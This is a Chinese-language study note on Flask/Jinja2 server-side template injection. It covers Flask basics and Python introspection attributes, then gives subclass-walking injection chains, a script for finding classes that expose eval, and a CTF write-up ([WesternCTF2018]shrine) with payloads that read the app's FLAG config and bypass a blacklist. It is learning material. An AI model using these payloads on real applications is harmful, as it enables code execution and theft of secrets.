ssti的概念和模板引擎介绍等基础知识前面已经学过了,接下来直接进入正题
先了解flask/jinja2:
flask:
用python编写的一个框架,集成 Jinja2 模板引擎(用于动态生成 HTML 内容)。
Flask 的核心组件:
(1)路由:路由是 Web 应用程序中的一个机制,用于将HTTP请求如GET
、POST
等的 URL 路径与后端的处理逻辑(通常是 Python 函数)关联起来,在 Flask 中,路由通过装饰器 @app.route()
来定义。找个代码解释:
基本路由:
from flask import Flask
app = Flask(__name__)
# 定义路由
@app.route('/')
def home():
return "Hello, World!"
@app.route('/about')
def about():
return "This is the about page."
@app.route('/'):将‘/’目录,映射到home函数,也就是当用户访问:http://localhost:5000/
时,Flask 会调用home函数,并返回"Hello, World!"。
@app.route('/about'):同理
动态路由:
@app.route('/user/<username>')
def show_user_profile(username):
return f"User: {username}"
<username>:动态部分,可以匹配任意字符串。
当用户访问 http://localhost:5000/user/john
时,username的值会是‘john’,Flask 会调用 show_user_profile 函数并返回“User:john”。
指定 HTTP 方法:
默认情况下,路由只响应 GET
请求。但是可以通过‘methods'参数指定路由支持的 HTTP 方法。
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
return "Login submitted!"
else:
return "Show login form."
GET请求访问/login时,返回登录表单,post请求提交表单时,返回Login submitted!
(2)请求和响应
Flask 提供了 request 对象来访问 HTTP 请求数据,以及 make_response 函数来生成 HTTP 响应。
request对象中常用的属性:
属性/方法 | 说明 |
---|---|
request.method |
获取 HTTP 请求方法(如 GET 、POST 等)。 |
request.url |
获取完整的请求 URL(如 http://example.com/path?query=value )。 |
request.path |
获取 URL 的路径部分(如 /path )。 |
request.args |
获取 URL 中的查询参数(GET 请求的参数),返回一个字典。 |
request.form |
获取表单数据(POST 请求的数据),返回一个字典。 |
request.json |
获取 JSON 格式的请求体(适用于 POST 或 PUT 请求)。 |
request.headers |
获取请求的头部信息,返回一个字典。 |
request.cookies |
获取客户端发送的 Cookies,返回一个字典。 |
request.files |
获取上传的文件,返回一个字典。 |
request.remote_addr |
获取客户端的 IP 地址。 |
默认情况下,视图函数返回的字符串会被 Flask 包装成一个 HTTP 响应,状态码为200 OK,内容类型为text/html
使用make_response
自定义响应,make_response
的第一个参数是响应内容,第二个参数是状态码,并且可以通过response.headers
设置响应头部。找到一个常规代码参考:
from flask import Flask, request, make_response
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', 'Guest') # 获取 URL 参数
response = make_response(f"Hello, {name}!") # 生成响应
response.set_cookie('username', name) # 设置 Cookie
return response
相应里还有一些设置cookie,返回文件啥的,看这个文章吧:https://blog.csdn.net/2401_88743143/article/details/146267602?sharetype=blogdetail&sharerId=146267602&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link
(3)模板渲染
Flask 默认使用 Jinja2 模板引擎来渲染 HTML 模板。通过 render_template
函数,可以将动态数据传递给模板并生成最终的 HTML。
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/hello')
def hello():
name = "World"
return render_template('hello.html', name=name)
在 templates/hello.html
文件中:
<!DOCTYPE html>
<html>
<head>
<title>Hello</title>
</head>
<body>
<h1>Hello, {{ name }}!</h1>
</body>
</html>
Jinja2 模板引擎:
(1)Jinja2 的基本语法:
变量:
{{ variable }}
控制结构:
{% ... %}
,支持条件判断、循环等。过滤器:
{{ variable|filter }}
,用于对变量进行处理。注释:用
{# ... #}
表示,注释内容不会被渲染。
偷个代码方便分析:
应用示例:
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def home():
# 定义上下文数据
context = {
'title': 'Home Page',
'name': 'John',
'is_student': True
}
# 渲染模板并返回响应
return render_template('home.html', **context)
if __name__ == '__main__':
app.run(debug=True)
模板文件:在templates/home.html文件中:
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<h1>Hello, {{ name }}!</h1>
{% if is_student %}
<p>You are a student.</p>
{% else %}
<p>You are not a student.</p>
{% endif %}
</body>
</html>
{{ title }}会被替换为'Home Page'。{{ name }}会被替换为'John'。根据is_student的值,显示不同的内容。
好了,继续深入了解一下吧:
下面是一些基础的魔术方法:
-
__class__:
返回对象所属的类。
s = "hello"
print(s.__class__) # 输出: <class 'str'>
-
__bases__:
以元组的形式返回一个类直接继承的父类。
class A:
pass
class B(A):
pass
print(B.__bases__) # 输出: (<class '__main__.A'>,)
B继承自 A,所以B.__bases__返回(<class '__main__.A'>,)。
__mro__:
返回方法解析顺序(Method Resolution Order, MRO),即类继承的顺序。
class A:
pass
class B(A):
pass
class C(B):
pass
print(C.__mro__)
# 输出: (<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
C.__mro__返回从C到object的继承链。
__subclasses__():
返回一个类的所有直接子类。
class A:
pass
class B(A):
pass
class C(A):
pass
print(A.__subclasses__())
# 输出: [<class '__main__.B'>, <class '__main__.C'>]
A.__subclasses__()返回 A
的所有直接子类 B
和 C
。
__init__
:在创建类的对象时自动调用,即初始化对象时调用,用于设置对象的初始状态。class Person: def __init__(self, name): self.name = name p = Person("John") print(p.name) # 输出: John
__init__方法在创建Person对象时被调用,用于初始化name属性。
代码解释:
self
是一个指向当前对象的引用,用于访问对象的属性和方法。
name
是一个参数,表示创建对象时需要传递的名字。
self.name = name
将传递的name
参数赋值给对象的name
属性。
__globals__
:返回函数所在命名空间的全局变量字典。
x = 10
def foo():
y = 20
print(foo.__globals__)
foo()
# 输出: {'x': 10, ...(其他全局变量)}
foo.__globals__
返回 foo
函数所在模块的全局变量字典。
注入思路|payload
感觉这个好麻烦ing
注入思路:随便找一个内置类对象用__class__
拿到他所对应的类,用__bases__
拿到基类(<class 'object'>
),用__subclasses__()
拿到子类列表,在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]
接下来只要找到能够利用的类(方法、函数)就好了:
找可利用的类(脚本):
from flask import Flask,request
from jinja2 import Template
search = 'eval'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
这个里面大哥总结了许多python2、python3通用payload:https://xz.aliyun.com/news/7341?time__1311=YqfxgiDt5eq05DK5qCqGKK4Qwtxjh2u8bD&u_atoken=9664eb0ebd7cdbb8b7bb128aec035d0f&u_asig=1a0c399b17419533867796649e0111#toc-10
Python安全之SSTI——Flask/Jinja2-腾讯云开发者社区-腾讯云
好吧做个例题巩固一下
[WesternCTF2018]shrine
分析代码, app.config['FLAG'] = os.environ.pop('FLAG')这段代码将FLAG存储到 app.config里并且从环境变量里删除它,@app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'],这是一个过滤,先将所有的()替换成‘ ’,然后绕过直接出现'config', 'self',所以需要间接访问,最后渲染,因为将FLAG放到了app.config中,所以需要访问config
构造payload:
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
访问 /shrine/
路径时,Flask 会调用 shrine
函数来处理请求,shrine
函数会将用户输入作为模板字符串渲染,从而触发服务器端模板注入(SSTI)漏洞。
了解了一下payload的执行进程:
url_for
:
url_for
是 Flask 的一个全局函数,用于生成 URL。
url_for.__globals__
返回url_for
函数所在模块的全局变量字典。
url_for.__globals__['current_app']
:
current_app
是 Flask 的一个全局变量,指向当前的 Flask 应用实例。通过
url_for.__globals__['current_app']
,可以获取当前的 Flask 应用实例。
current_app.config['FLAG']
:
current_app.config
是 Flask 应用的配置字典。
current_app.config['FLAG']
获取配置项FLAG
的值。
当时不理解payload里也有config为啥也能绕过,搜了一下知道了黑名单的局限性:
黑名单机制只会将 直接出现的 config
替换为 None
。在这个 Payload 中,config
并不是直接出现的,而是通过 url_for.__globals__['current_app'].config
访问的。黑名单机制无法检测到这种用全局函数间接访问方式。
最后得到flag
看别人的wp还用了一种payload
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
get_flashed_messages
是 Flask 的一个全局函数,用于获取闪现消息(flashed messages)。闪现消息是 Flask 中用于在请求之间传递消息的一种机制。通过
get_flashed_messages.__globals__
,可以访问 Flask 应用的全局变量。
自己写payload还是difficult滴,但是感觉没太用到上面的方法,还是得多做点题,多分析大佬们构造的payload
其他:这个对有些模块的解释还是不错的CTF_Web:从0学习Flask模板注入(SSTI)_ctf flask-CSDN博客